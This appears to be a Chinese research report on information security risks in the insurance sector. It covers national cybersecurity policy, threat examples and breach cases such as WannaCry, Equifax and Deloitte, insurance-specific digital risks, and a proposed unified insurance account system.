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[bookmark: _Toc529183196][bookmark: _Toc532983505]内容摘要
党的十八大以来，我国一直重视网络安全和信息化工作，作出一系列重大决策、提出一系列重大举措，形成了网络强国战略思想，推动我国网信事业取得历史性成就。从2014年中央成立网络安全和信息化领导小组，习近平总书记亲自担任组长，到2015年专门制定“互联网+”战略，再到2016年习近平总书记提出“要以信息化推进国家治理体系和治理能力现代化”……我们前进的脚步始终未停歇。
然而信息技术也是一把“双刃剑”。信息技术正悄然改变着世界，随之相伴的是风险在变异中演进。因此，我们在研究科技创新时，一定要高度重视它所带来的风险。我们一方面要迎头赶上，努力把握机遇，一方面也要防范风险，理性面对挑战。
作为风险管理行业，保险业与新科技的融合更走在时代的前端。作为与信息、数据有着天然联系的保险业，技术的发展颠覆了风险的诸多规律，给保险业带来了巨大的影响。
本文在信息安全理论研究的基础上，全面分析我国保险业的信息安全风险，提出了针对性风险防范建议，并重点解析保险业的信息安全风险评估以及渗透测试的技术要点，以期提升行业的信息安全意识，并为我国保险业未来的信息安全风险防范提供具体的、可操作的防护措施。
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[bookmark: _Toc532983506]一、背景与意义
[bookmark: _Toc532983507]1.1 信息化浪潮下，保险业数字化转型成必然趋势
《“十三五”国家信息化规划》（以下简称“规划”）中指出， “十三五”时期是全面建成小康社会的决胜阶段，是信息通信技术变革实现新突破的发轫阶段，是数字红利充分释放的扩展阶段。信息化代表新的生产力和新的发展方向，已经成为引领创新和驱动转型的先导力量。
“规划”预测。物联网、云计算、大数据、人工智能、机器深度学习、区块链、生物基因工程等新技术驱动网络空间从人人互联向万物互联演进，数字化、网络化、智能化服务将无处不在。
“规划”明确。到2020年，“数字中国”建设将取得显著成效，信息化发展水平大幅跃升，信息化能力跻身国际前列，具有国际竞争力、安全可控的信息产业生态体系基本建立。
习近平总书记在中央网络安全和信息化领导小组第一次会议上强调，网络安全和信息化是事关国家安全和国家发展、事关广大人民群众工作生活的重大战略问题，要从国际国内大势出发，总体布局，统筹各方，创新发展，努力把我国建设成为网络强国。
2018年4月20日，全国网络安全和信息化工作会议召开，习近平总书记强调，信息化为中华民族带来了千载难逢的机遇。我们必须敏锐抓住信息化发展的历史机遇，加强网上正面宣传，维护网络安全，推动信息领域核心技术突破，发挥信息化对经济社会发展的引领作用，加强网信领域军民融合，主动参与网络空间国际治理进程，自主创新推进网络强国建设，为决胜全面建成小康社会、夺取新时代中国特色社会主义伟大胜利、实现中华民族伟大复兴的中国梦作出新的贡献。
面对信息化大潮，保险行业数字化转型将成为行业可持续发展的关键驱动因素和内生动力。保险行业的数字化转型，将使保险业态、业务模式、服务模式发生根本变化和代际升级。
[bookmark: _Toc532983508]1.2 新技术下，风险管理成为首要逻辑
1.2.1 科技发展对保险业影响尤为巨大
当代科学技术的发展已经使人们获取信息、处理信息、验证信息、信息决策、权益保障的过程大大缩短。使更精准、更透明、更公正成为现实。用户对数字化渠道接触愈发密切，信息交换更加频繁透明，从而不断改变保险行业的业务模式和底层逻辑。
新技术不光从商业模式、产品形态、服务方式、运营管理、竞合关系等方面影响着保险的业务流程和运行效率，更从本质上影响着保险的底层逻辑。
首先是风险结构的变化。以往大群体、大类别、同质化的风险，正逐步向高维度、精准化、个性化风险转变。过去的保险，由于数据的维度和精准度不高，更依赖大数法则，需要某一风险下有很大的群体来互相弥补。而随着大数据技术的发展，数据的维度越来越高，精准度越来越强，今后的风险厘定也将是多维的，甚至群体不需要那么大，但风险可以厘定得更清楚。
其次是管理逻辑的变化。以产品为中心转向以客户为中心，账户管理与客户体验成为至上的因素。原来的保险销售和运营是按保单类别进行管理，而行业一直在提出以客户为中心，如果不能实现大数据和客户信息的整合，账户管理和客户体验则很难达到应用水平。依托保险科技，账户管理和客户体验在推动产品创新的同时，也驱动了新一轮的以客户为中心的服务体系和风控体系的再造。
1.2.2 新技术推动经济社会进入高维时代，高维信息成新工具
对于高维概念的理解，物理学家和数学家并不陌生，20世纪90年代霍金提出高维空间理论，又称M理论，指出宇宙是十一维的，由震动的平面构成的。在爱因斯坦看来，宇宙只是四维的（三维空间和一维时间），现代物理学则认为还有七维空间我们看不见。而在处理高维数据时，由于算力、成本等原因，通常会对数据进行降维处理，抽取主要研究信息。在日常生活中，人们除了对三维坐标、时间维度有直观认识外，很少会想象维度的范围，使用维度的概念，而小说《三体》给了普通人关于维度非常具象的表达，使得“降维打击”一词红极一时。在“丛林法则”下，维度成为竞争群体间的打击工具。
新技术发展正使社会进入风险高维化时代。以物联网技术作为说明，物联网是作为依托互联网技术而兴起的新型互联网模式，物联网表现为万物互联，其解构了主体之间的关联节点，使得反应链条上可捕获的信息增多，并以此形成有效反馈，影响风险的进程。物联网在发展中产生了大数据，大数据分析为物联网的发展提供了庞大的信息数据资源，进一步推动了物联网产业的快速发展。
在这一进程中，物联网提供的更加充分的信息，极大地增加了变量的联系逻辑路径，增加了相关世界的维度。以往分析中被忽略的维度信息，在新工具的作用下，被凸显出来。例如，以车险为例，过去的从车数据分析往往以空间维度、时间维度为主，通过物联网、大数据分析等技术的发展和应用，温度维度、声音维度，甚至颜色维度、气味维度等信息都可能被收集并加以利用，从而使信息被刻画为生产链条上的控制工具。
事实上，新技术的发展，更会在安全性、舒适性、感受性、管理性等多维度带来约束和主张的机会。也就是说，技术突破到一定阶段，一项技术的变革，会在多个维度强化甚至缔造诸多因果关系链条上约束和主张的干预逻辑通道。而在当今新技术时代或者称为数据时代、信息时代的今天，这一规律的影响正处于逐步突出的阶段。
物联网、人工智能等技术使得当今世界可供决策的维度急速提升，因而也带来了风险的高维化，经济社会由此将真正进入高维时代。
随之而来，一方面，新技术的发展影响了风险的不确定性、随机性。信息管理维度增加，并对风险进程进行干预，使得风险的随机性随之改变，可能为保险公司带来相关保障成本的巨变。另一方面，大数据带来风险的细分和风险规律的再认识，使得保险业定价基础——大数法则的运用变得比过去困难。风险管理的反应链由过去的风险识别、风险评估、风险处理决策延长为，以智能约束和主张指令、智能干预并反馈为中心的反应链；干预事物发展规律，改变风险进程，升级为风险管理的核心。
1.2.3 新技术推动下，风险发生变异，风险管理工具随之异化
变异是生物学用语,指同种生物后代与前代、同代生物不同个体之间在形体特征、生理特征等方面所表现出来的差别。新技术的发展使得世界处于日新月异的变化中，大数据分析使得认识规律更加清晰，区块链重构信任机制，物联网使得万物互联，人工智能干预事物发展规律，改变风险进程。
新技术对世界的颠覆，导致了风险变异。道路交通风险由马车时代的牲畜风险变异为工业时代的机械故障风险，进而变异为信息时代的信息处理风险。风险变异凸显出科学服务异化，“异化”表示将自己拥有的东西转化成同自己对立的东西。在没有机制约束下，科技的发展可能演变到其初衷的对立面。
科技服务异化，是技术发展进程中不可忽视的问题。在风险处理过程中，就知情权利地位和工具方面，新技术降低了信息不对称；但是就技术服务的利益主体以及技术工具掌握的次第方面，新技术又增加了信息不对称，显著加重了个体对信息工具掌握方面的依赖性。换言之，技术变革的初衷是降低信息不对称和交易成本，但技术黑箱又将绝大部分使用者拒之技术控制门外。掌握信息维度的高低，演化为竞争的焦点。而全球“科技智力”的“分享经济”理想与资本世界大资本阵营垄断愿望冲突巨大，全球精英体系和资本世界的格局发生巨变，原有风险管理工具随之异化。
1.2.4 风险管理逻辑是高维时代的首要逻辑
因此，在高维时代，信息维度的争夺成为新的制高点，高维信息的获得者在社会分工链条中占据了主导权，科技服务出现异化，背离初衷。而如今的信息技术的科技精英，我们暂且称作“科技智力”，挟持以信息科技为中心的新技术的巨大力量时，并不为资本所控制，与原大资本阵营的关系，从被主导阶段，希望几乎要越过唇齿相依、水乳相容阶段，直接到弱相关阶段甚至无关阶段。在面对技术发展的不可控，如何使得技术控制者的利益与社会普遍价值相一致，使科技发展为提高社会福利服务，而不是沦为少数人控制社会、奴役社会大众的工具，使社会堕落为科技“丛林法则”主宰的世界，技术的选择机制与技术道德从未显得像今天这样重要。科技智力本身就需要一定的机制进行约束，至少在一定程度上扬其长避其短。风险管理逻辑，历来是社会治理的重要逻辑，而在新技术时代则成为社会治理的首要逻辑。
[bookmark: _Toc532983509]1.3 保险业信息安全不容忽视
新技术是把“双刃剑”，一方面可以造福社会、造福人民，另一方面也可以被一些人用来危害社会、危害人民。从世界范围看，网络安全威胁和风险日益突出，并日益向政治、经济、文化、社会、生态、国防等领域传导渗透。
在2016年4月19日召开的网络安全和信息化工作座谈会上，习近平总书记对互联网管理提出明确要求：“金融、能源、电力、通信、交通等领域的关键信息基础设施是经济社会运行的神经中枢，是网络安全的重中之重，也是可能遭到重点攻击的目标。‘物理隔离’防线可被跨网入侵，电力调配指令可被恶意篡改，金融交易信息可被窃取，这些都是重大风险隐患。不出问题则已，一出就可能导致交通中断、金融紊乱、电力瘫痪等问题，具有很大的破坏性和杀伤力。我们必须深入研究，采取有效措施，切实做好国家关键信息基础设施安全防护。”
2013年11月，党的十八届三中全会通过的《中共中央关于全面深化改革若干重大问题的决定》提出，坚持积极利用、科学发展、依法管理、确保安全的方针，加大依法管理网络力度，加快完善互联网管理领导体制，确保国家网络和信息安全。
　2015年7月，我国《国家安全法》明确将网络空间安全上升至我国国家安全高度，2016年11月，《中华人民共和国网络安全法》（以下简称《网络安全法》）高票通过，成为我国首部网络安全领域的法律。《网络安全法》明确了一系列相关的法律范围、职责和约束，其中第三章“网络运行安全”的第二节明确了重点保障“关键信息基础设施的运行安全”，其中就包括“公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域”。保险业作为金融业的重要领域之一，网络与信息安全不容忽视。

[bookmark: _Toc532983510]二、信息安全理论研究
[bookmark: _Toc532983511]2.1 信息安全的概念
信息安全主要包括以下五方面的内容，即需保证信息的保密性、真实性、完整性、未授权拷贝和所寄生系统的安全性。信息安全本身包括的范围很大，其中包括如何防范商业企业机密泄露、防范青少年对不良信息的浏览、个人信息的泄露等。网络环境下的信息安全体系是保证信息安全的关键，包括计算机安全操作系统、各种安全协议、安全机制（数字签名、消息认证、数据加密等），直至安全系统，如UniNAC、DLP等，只要存在安全漏洞便可以威胁全局安全。信息安全是指信息系统（包括硬件、软件、数据、人、物理环境及其基础设施）受到保护，不受偶然的或者恶意的原因而遭到破坏、更改、泄露，系统连续可靠正常地运行，信息服务不中断，最终实现业务连续性。
[bookmark: _Toc532983512]2.2 信息安全的作用与意义
信息安全的根本目的就是使内部信息不受内部、外部、自然等因素的威胁。为保障信息安全，要求有信息源认证、访问控制，不能有非法软件驻留，不能有未授权的操作等行为。
信息作为一种资源，它的普遍性、共享性、增值性、可处理性和多效用性，使其对于人类具有特别重要的意义。信息安全的实质就是要保护信息系统或信息网络中的信息资源免受各种类型的威胁、干扰和破坏，即保证信息的安全性。根据国际标准化组织的定义，信息安全性的含义主要是指信息的完整性、可用性、保密性和可靠性。信息安全是任何国家、政府、部门、行业都必须十分重视的问题，是一个不容忽视的国家安全战略。但是，对于不同的部门和行业来说，其对信息安全的要求和重点却是有区别的。
中国的改革开放带来了各方面信息量的急剧增加，并要求大容量、高效率地传输这些信息。为了适应这一形势，通信技术发生了前所未有的爆炸性发展。除有线通信外，短波、超短波、微波、卫星等无线电通信也正在越来越广泛地应用。与此同时，国外敌对势力为了窃取中国的政治、军事、经济、科学技术等方面的秘密信息，运用侦察台、侦察船、侦察机、卫星等手段，形成固定与移动、远距离与近距离、空中与地面相结合的立体侦察网，截取中国通信传输中的信息。
传输信息的方式很多，有局域计算机网、互联网和分布式数据库，有蜂窝式无线、分组交换式无线、卫星电视会议、电子邮件及其它各种传输技术。信息在存储、处理和交换过程中，都存在泄密或被截收、窃听、窜改和伪造的可能性。不难看出，单一的保密措施已很难保证通信和信息的安全，必须综合应用各种保密措施，即通过技术的、管理的、行政的手段，实现信源、信号、信息三个环节的保护，藉以达到秘密信息安全的目的。
[bookmark: _Toc532983513]2.3 我国信息安全行业发展现状
信息安全与技术的关系可以追溯到远古。埃及人在石碑上镌刻了令人费解的象形文字；斯巴达人使用一种称为密码棒的工具传达军事计划，罗马时代的凯撒大帝是加密函的古代将领之一，“凯撒密码”据传是古罗马凯撒大帝用来保护重要军情的加密系统。它 是一种替代密码，通过将字母按顺序推后 3 位起到加密作用，如将字母 A 换作字母 D， 将字母 B 换作字母 E。英国计算机科学之父阿兰·图灵在英国布莱切利庄园帮助破解了 德国海军的 Enigma 密电码，改变了二次世界大战的进程。
中国信息安全行业起步较晚，自本世纪初以来经历了三个重要发展阶段（萌芽、爆发和普及阶段），产业规模逐步扩张，带动了市场对信息安全产品和服务需求的持续增长。另外，政府重视和政策扶持也不断推动中国信息安全产业的快速发展。
但总体上看，我国网络安全的投入水平仍然偏低且不均衡。从权威数字可以看到，2016年全球IT安全市场的规模为755亿美元，而中国仅为43亿美元，全球IT安全占IT市场的比例为3.74%，而中国仅为1.84%，在安全投入上我国还远远不够。另一方面，2016年全球IT安全投入中硬件投入占19.3%，软件投入占36.3%，而服务投入高达44.4%，这三者在中国的比例分别是54.5%、16.7%和28.8%，这既是我们安全投入还不够的结果，也说明我们需要审时度势的改变我们的网络安全观与网络安全策略。
[bookmark: _Toc532983514]2.4 信息安全威胁
2.4.1 攻击者角度：攻击具有极其低的成本
从一个攻击者的角度上看信息安全，其实我们忽略了非常多的内容。2017年5月16日，一款名为“WannaCrypto”又简称“WannaCry”的勒索软件席卷全球，数以十万计的计算机被入侵。他利用了微软Windows操作系统中的文件共享服务的一个高危漏洞，通过程序实现了漏洞的自动利用、自动传播、自动加密所有的文件，实现了一键式全球入侵。
但实际上，在两个月前的3月14日，微软就发布了其官方补丁MS17-010；而且之后的4月，“ShadowBrokers”就在互联网上公布了该漏洞和利用工具，且快速传播，并指明其来源是NSA的攻击工具“EthernalBlue”。那么，在4月到5月期间已经接收到补丁的情况下，为何这10万台机器仍遭到了入侵？ 
这里存在一个被称为漏洞利用时间的曲线，在公布之前被称为0day漏洞，没有太好的办法去预防。但在漏洞的补丁发布后，大众修复的速度远远低于我们的想象，而这些时间受到的攻击是远远没有必要的，是完全可以预防的，而90%以上的已知网络攻击都是在这个时间段发生的。
还有非常多的漏洞尚未被发现。而且不少漏洞，诸如HeartBleed、STRUTS2、FCKEditor等都具有高危害性和高可利用性，这些漏洞的出现意味着全球信息系统的劫难，毕竟互联网世界的首要特点就是即时性、高速性、无边界性和开放性，一倒塌就是一大片，而且是即刻散播，这也是为什么漏洞是国家战略资源的原因。
但是挖漏洞是个高智商的工作，成本太高。但为何攻击却让人感觉那么简单呢？答案之一就是弱口令，成本低、收效好。弱口令是指诸如12345、qwert的不足8位、没有大小写、没有英文数字结合的口令，太简单了，对于攻击者来说那只是一个简单的字典本，网上随手可下。此外弱口令还包括，根据个人信息、习惯生成的特殊字典本，例如有太多人青睐拼音加生日的方式；还有来自于同一人在别的网站上注册的密码，这个又叫社工库，不同网站同密码的现象人人都有；还有就是我们几乎忽略掉的路由器上，有攻击者不停在监听明文的口令，这就是我们常说的不是https加密，密码就是明文的原因。
这就会有些疑问，路由器存在漏洞被攻击者控制还好理解，我们的个人信息、其他网站上注册的密码，攻击者怎么会知晓？前文所述的WannaCry勒索软件，1天内造成了10万台计算机的瘫痪，既然可以勒索，同样也可以窃取数据。2011年12月21日，某黑客在网上公开了程序员网站CSDN的用户数据库，高达600多万个明文的注册邮箱账号和密码、个人信息遭到曝光和外泄，随即，因相同漏洞模式导致天涯、多玩等网站相继被曝用户数据，这拉开了曝光数据这一种黑客炫耀模式，直至今天依然不停有新数据在网上被曝光并快速传播；2013年7月，STRUTS2漏洞被公开，因其高可利用性和使用广泛，仅仅不到4个小时的时间，京东、淘宝、当当等一大批受众极广的应用都被报道有不同程度的数据泄露。
中国信息安全测评中心推出的《年度国家信息安全态势评估》指出，中国目前粗算已有千亿条数据或因漏洞而泄露，几乎覆盖90%以上的网民的相关信息，据估算通过这些泄露数据，中国约60%的网民可被完整勾勒出个人的全部信息和习惯特性，而且上网越多的人，越准确，甚至可以预测行为；更直接的是在用户名和密码上，已有研究表明平均每人最多可以同时记住10个符合高强度的密码，而且70%的人只有约5组不同密码。所以有了这些泄露的信息，即社工库，攻击者随意进出系统，定位诈骗。很多人还在不明所以的追赶大数据这个新名词时，攻击者早就进入了大数据攻击的时代。
我们在网络上访问每一个应用，中间都会经过无数个网络设备。比如从访问百度，就会经过最少9个路由设备，还不包括交换设备。中间如果加了一个攻击节点，几乎没人能够看的出来。但是我们所有的数据都会经过这个节点，被攻击者看一遍内容，这也是美国实施监听的一个主要手段。
这只是网络，我们的WIFI网络、手机因为其无线广播的特性，同样容易实现监听，比如OsmocomBB开源项目和摩托罗拉C118，17元的成本就可以侦听约100m以内2G手机的短信、通话和上网。而信号衰减器可以让3G、4G同范围内信号无察觉的衰减至2G。同样，ExploitDB上也有非常多的Android和苹果手机的开源漏洞，对不升级的手机几乎是一键式入侵。
这些还是违法攻击行为，还有不属于信息安全领域的“个人隐私”问题，服务商合法获取个人数据。安装软件时极少数人真正看过隐私协议，就点击了我同意，但里面明确写着软件会收集你这样那样的信息。
还有非常多的攻击者角度例子，可以颠覆非常多传统安全的认知，例如指纹、人脸识别等等。究其原因，可以用下图来解释（图1）。信息系统是，防火墙、网站、网站数据，攻击者通过互联网实施入侵；但现实是，攻击者的眼中不仅仅是网站，还包括很多应用、使用者，还有与之相连的背后内网、内网的数据、内网的用户，这些更为重要，还包括与之相连的每一个人、每一个个人设备和与其相关的人际网络，入侵者可以在互联网上、也可以在内网、甚至可以直接面向每个个人，而且每个设备都会有20个左右的软件或系统，这些成千上万个点只要有一个突破，很可能就带来着整个系统的坍塌，信息系统不同于人体，免疫这个问题几乎还是个美好的概念，而且攻击程序的运行速度远远超过人的反应，因此如此庞大的系统，想做到安全，岂是一两个设备可以完成的？木桶原理在此完美体现。
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图1：信息环境
更让攻击者欣慰的是，现在互联网思维深入人心，快节奏、快开发、快上线的做法虽然商业角度成功，占领了市场，但因为太多大脑用在考虑新名词、标题党、资本运作，安全问题肯定会随着浮躁而产生，从近几年对800余个系统渗透测试结果来看，凡是为了急于上线而压缩设计和测试时间的系统，高危漏洞率约覆盖70%，而且这个比例在逐年增加。
再加上攻击工具的开放和免费，这些原因造就了攻击具有极其低的成本。
2.4.2 网络信息泄露案例分析
1）Equifax (NYSE: EFX) 泄露1.43亿美公民信息
2017年9月初，美国最大的个人征信公司Equifax被爆泄露了超过1.43亿条包括社会安全号码在内的美国公民敏感信息。Equifax是一家成立于1899年的百年企业，也是在纽交所上市的公众企业，事发后其主席兼CEO、CIO和CSO相继退休以承担责任。根据事故报告，在从5月13日至7月30日的长达2个半月的时间内，攻击者持续盗取敏感信息，而攻击所利用的ApacheStruts2 S02-045漏洞在3月初就已披露并提供了不受漏洞影响的新版本。
2）德勤泄露逾500万封内部邮件
在上述案例事发仅仅几天后，9月25日，德勤又被爆出泄露了超过500万封内部邮件，时间段是从2016年10月至2017年3月，原因是邮件系统的管理员账户仅使用了密码认证，被攻击者获取，没有采用业界普遍使用的双因素认证。而最近5年，德勤连续被Gartner评为全球第一大（按收入计）安全咨询服务公司，其向全世界的客户提供自身关于网络安全的最佳实践。
3）某数字货币交易平台多币种失窃案件
2017年10月初国内一家数字货币交易平台的包括比特币和莱特币在内的多个数字货币的钱包失窃，损失金额非常巨大。区块链是一个公开的体系，能够持续追踪这些失窃货币的流向。经过一段时间的追查，发现这些货币最终流入了一个国外的交易所。通过沟通，得知一个攻击者注册用的邮箱，基于这个邮箱进行深入挖掘后，在一个交平台上发现了木马的样本，这是一个非常专业的木马，专门用于窃取数字货币的钱包，而且这个样本经过了非常强的免杀处理，在66款杀毒软件中只有5款能够识别它，而且没有一个是国内的杀毒软件。这个木马软件是怎么进入受害者的网络呢？整个攻击事件的起因是在9月13日的下午，有一个运维人员打开百度，搜索了Bitcoin，下载了BTC的软件，被捆绑在其中的木马软件就此激活。
通过这三个案例可以看到，虽然攻击者有非常强的专业性，但从受害者的角度，他的第一步都是溃败在某一个非常小的蚁穴上面。
2.4.3 高频漏洞应对难题
仅以Struts2为例，几年来已披露超过50个漏洞。这对金融机构的网络安全体系造成了极大的冲击。
在应对安全事件的实践中，暴露了两方面的难题：风险信息的及时、全面获取和基于资产的脆弱性闭环管理。一方面，第一时间获取到相关的威胁情报能获得更长的应急时间，但对金融机构来说，威胁情报只能从外部获取；另一方面，清晰的资产库和漏洞处置跟踪流程可以帮助更快的处置漏洞，否则临时、手工的应急处理方式很难跑赢攻击者的速度。
2.4.4 协同漏洞应急处理
传统的堡垒建设模式的网络安全建设已不足以应对现在的安全威胁，多方协同运营的新时代已经来临。以漏洞管理为例，以客户侧部署的脆弱性综合管理平台为核心，从本地脆弱性和外部脆弱性来源获取脆弱性信息，从外部获取威胁情报，并整合内外部的专家力量，将是对网络安全的有力保障。更进一步的，协同运营的模式可以推广至安全事件应急响应和日常安全工作等更多场景，帮助金融机构在日新月异的攻击发展中保证业务的安全、稳定运行。
当然，协同运营模式对金融机构和厂商也提出了新的调整。对金融机构来说，改变对服务的观念，改变预算决策机制及预算结构；将安全运营能力、工具与现有的开发体系整合，实现高效自动化安全开发和运维；以及监管合规的限制都是需要破解的难题。对厂商而言，从单点技术产品转化为解决方案，从产品交付到能力交付；积累安全能力，提升对抗水平和速度；建设有效的协同运营体系也是亟待提高的能力。
[bookmark: _Toc532983515]三、保险业的信息安全风险
保险客户旅程，涵盖保险用户注册认证、保险账户设立、保险服务凭证取得、保险服务的时间和空间、支撑保险服务基础设施和基础平台、体现保险服务成果的数据以及保险行业与其他行业互连互通等多个方面。在数字化生态下，其风险表现形式和风险驱动因子，均与传统保险模式有明显不同，其应对策略也必须与时俱进，适应数据字化生态环境。
[bookmark: _Toc532983516]3.1 用户认证风险
传统的用户认证依托营业场所、实物凭证和面对面的服务方式，具有高自主可控的特性，仿冒作假的可能性较低。在数字化生态环境下，网上非现场、非实物原始凭证、非面对面的方式，使用户身份识别难度显著提高。
“在互联网上，没人知道你是一条狗”。身份认证机制不完善，导致身份错配，导致投保人、被保人真实性得不到保障，与保险“最大诚信”原则背道而驰，从而引发销售误导、理赔难、理赔欺诈等风险。
“互联网上，他们都知道你是条狗”。身份认证机制不规范、不安全，分散式、碎片化、无最低安全标准，导致身份泄漏，投保人、被保人的隐私得不到保护，从而引发电信和网络诈骗等风险。
[bookmark: _Toc532983517]3.2 保险客户账户风险
传统的保险账户按保单管理，基于保单等物理凭证处理本保单项下的保险服务。在事实上没有建立起以客户为中心的保险账户的基础上，开展基于实物凭证的保险服务，尽管保险消费者感到不便，但能基本保障交易的安全性。
在数字化生态环境下，一个保险消费者多张保单、多个产品，现有以保单为中心的系统平台，未能实现多张保单、多个产品有效整合，导致线上服务不仅繁琐，而且无法保证多张保单、多个产品归集至统一客户账户下的准确性，更不能打通保险承保、理赔、给付等在一个账户下协同处理，也不能将道路救援等保险增值服务以及保险服务延伸而来的其他金融和社会服务协同处理。使客户保险账户难以保障完整性、一致性、准确性。
保险客户账户缺失或缺乏完整性、一致性、准确性管理，不仅造成客户体验不佳，而且易引发保费、保额、保险责任计量不准、定价偏差、服务差错、理赔差错等风险，也易引发反洗钱管理不到位风险和舞弊风险。
从整个行业看，不同保险机构间的客户，在行业层面缺乏保险客户统一账户，不仅存在上述风险，还存在客户在保险机构间逆选择等风险。
客户身份认证的核心是真实，客户保险账户的核心是支付，两者管理不到位，贯穿于保险服务全流程的诚信风险就通过销量误导、理赔难、舞弊欺诈等乱象体现出来，穿透式诚信、穿透式服务、穿透式监督难以得到根本保障。
[bookmark: _Toc532983518]3.3 电子单证风险
传统的保险作业模式以实物原始单证为依据进行单证流转，其中关键是保单。保险公司的作业风险控制是围绕保单这一关键实物凭证而设计的。承保后签发保单，退保、给付期满时收回保单。由于实物单证具有不可再生和不可原样复制性，通过“收回保单”，或在实物单证上加盖变更签注，确保了客户不可能二次持证进行索赔、给付，从而保证了风险的可控性。
在数字化生态环境下，所有业务单证，包括保单也进行了电子化。由于电子保单供下载后，客户可无限制地进行原样复制，因此，一方面在发生退保、满期给付等情况下，无法全部收回电子保单；另一方面，在保单发生变更时，无法在客户持有的电子保单上加盖相关签注，无法保证客户凭电子保单二次索赔、二次给付的诉求，从而使保险公司要自我举证前次作业的准确性且没有发生差错而拒绝二次索赔、二次给付变更就十分困难。
另外，电子单证一旦因保险人内部差错而分发至投保人、被保险人时，将难以收回电子保单，即使要求对方回收清理，也无技术手段可以保证对方清理时没有数据残留。
[bookmark: _Toc532983519]3.4  “非工作”时空风险
传统的保险作业模式通常在工作时间、工作场所内完成，保险人、投保人、被保人、监管机构、行业机构等保险利益相关方均配置有效资源，满足各方需求，出现突发事件，应对能力也较充足。
在数字化生态环境下，保险作业模式从5*8小时的工作时间，更多地转向非工作时间，升级为7*24小时不间断运营，特别是在节假日和重大活动期间，保险服务需求更加活跃，线上服务需求转化线下现场服务的要求更加强烈。“非工作”时空风险表现在三个方面：一是存在非工作时间服务资源配置不到位风险；二是非工作时间线上服务稳定性风险；三是非工作时间从线上服务转化为线下现场服务响应能力风险。
[bookmark: _Toc532983520]3.5 外网服务风险
传统的保险作业模式通常由保险公司内部员工和代理人在公司内网运用相关信息系统完成保险日常作业。内部网络和内部员工为保险公司风险防范构筑了一道“长城”，客户需求通过员工、代理人“代办”而满足。因此，风险管控聚焦于“城内”安全即可基本满足需要。
在数字化生态环境下，客户自服务是大势所趋，将成为主要服务渠道，代理人和员工进化为保险专家顾问。客户自服务必然导致客户自服务APP等自服务工具突破内网保护，走向互联网开放环境。而互联网环境下，防攻、防断、防改、防漏、防毒的风险始终存在，而且成为主要风险。
[bookmark: _Toc532983521]3.6 技术架构风险
传统保险信息系统服务对象是内部员工、代理人和外部合作机构的员工，用户数一般是十万或百万量级，采用传统的单一数据库集中式部署架构能较好满足集约化、一致性和安全性要求。
在数字化生态环境下， 保险信息系统服务对象是客户和外部合作机构的客户，用户数达到千万级、亿级甚至十亿级。传统的单一数据库集中式部署架构将导致严重的运行性能风险、容量风险和运维时间窗口风险，无法提供快速、稳定、持续不断的运行服务。
[bookmark: _Toc532983522]3.7 自动化作业风险
传统保险信息系统的时效要求相对较低，批处理自动化作业通常为T+1模式，作业人员有相对宽裕的时间窗口来抽检批处理产生的批量结果，发现问题可及时纠正。
在数字化生态环境下，业务批处理自动化作业进一步提速，走向实时化。此时如果产生批处理差错，可能造成影响巨大的“乌龙指”风险，将对客户、公司甚至行业造成难以弥补的声誉风险。
在数字化生态环境下，云计算技术使IT运维工作自动化，也可能造成大批量系统差错和停机，从而造成巨大的业务连续性和声誉风险。
[bookmark: _Toc532983523]3.8 外部合作风险
传统保险服务模式下，对外合作通常依托实物单证和系统对接，外部合作风险要传导至保险机构内部，有较复杂的业务流程和业务单证控制。
在数字化生态环境下， 对外合作主要依电子单证和数据对接，外部合作风险传导速度快，关联性风险控制成为新课题。如合作方私自制作电子单证、业务不符合规范、数据对接不完整不一致，合作方信息安全控制失效等风险极易传导到保险业内部。
[bookmark: _Toc532983524]3.9 数据资产风险
传统保险服务模式下，保险公司通常自建和租赁自主可控的数据中心，并将信息系统与数据部署于自主可控的数据中心内，数据资产的拥有与保全得到基本保障。
在数字化生态环境下， 公有云服务机构天然存在引导保险机构利用公有云服务的动力，围猎中小保险公司和大公司部分业务入云将成为新的挑战。一旦保险机构选择公有云服务，保险公司的数据资产拥有与保全将面临无技术手段加以保障的风险。利用公有云服务的法律风险、数据风险、责任风险、声誉风险等成为新课题。特别是在公有云服务商的生命周期短于保险公司生命周期时，或在公有云服务商因故变更和终止服务时，这一风险将更加突出。
[bookmark: _Toc532983525]3.10 数字化互联互通风险
传统信息化模式下，尽管信息系统和共享平台规模有大有小，但系统与系统、系统与平台、平台与平台间关联性不强，从结构上抑制了风险快速传导。
在数字化生态环境下，保险机构信息系统、共享平台本身越来越庞大，系统与系统、系统与平台、平台与平台、保险系统与第三方系统和平台之间的联通性越来越紧密，数据交换也越来越频繁。处于基础地位或关键节点的核心系统、共享平台、第三方平台，一旦出现风险，可能波及全行业的安全风险。

[bookmark: _Toc532983526]四、保险业信息安全风险防范
新业态、新模式、新技术，使保险行业的风险动因、风险识别和风险防范带来全新的挑战，“安全可控”成为“数字保险”转型升级的必然要求，需要建立保险数字生态环境下的新型风险防范体系。
防范数字化风险，需要有新业态、新模式相匹配的风险防范机制与策略，同时也要充分利用新技术，研发新工具，有效识别和处置风险。
[bookmark: _Toc532983527]4.1 个人统一账户管理
在金融市场上，对重要的金融单证从源头开始控制，用科技手段管理市场和控制风险，是金融业的稳健发展不可或缺的方法。目前，我国保险市场的监管仍以保单为中心，存在信息不对称、客户识别手段匮乏、数据缺失等问题。可行的解决方法是，建立以保险统一帐户为核心的统一信息共享平台，集中登记并监管保险公司与保单持有人之间的责任关系和权益事实，将原有的固化的纸质保单逐步转化为电子保单，并为每位保单持有人开立单独的保险统一账户，以统一帐户为主键，汇集每一帐户关联的全部保单信息，实现在保单电子化签发过程中，保单将自动存入保单持有人的电子保险账户下。通过保险统一帐户的建立，一是可以实现全行业各公司关键数据的统一归集，二是实现个人帐户下财险、寿险等各险种信息的统一管理，三是实现信息流、资金流、服务流的统一渠道，并通过建立以保险统一帐户为核心的统一信息共享平台推动中国保险监管由以保单为中心向以账户为中心转移。
信息技术、大数据、云计算、人工智能等科学技术的不断进步和飞跃，为我国保单集中登记制度的推行以及全民保险统一账户的建立提供了有力的技术支撑。而这一重大举措得以实施对规范保险市场秩序、重构诚信基础、提升风险管控能力均具有重要意义。
建设以保险统一帐户为核心的统一信息共享平台是我国保险行业电子业务建设与发展的关键一步，是数据统一归集和智能分析的基础工程，是实现监管多维分析的重要举措，是以大数据应用促进保险行业服务社会经济发展、构筑民生保障的关键一步。
[bookmark: _Toc532983528]4.2 采取针对性策略应对不同类型风险
建设并完善保险统一账户信息管理平台，加强行业基础设施建设，是应对用户认证、账户以及电子单证风险的有力措施。
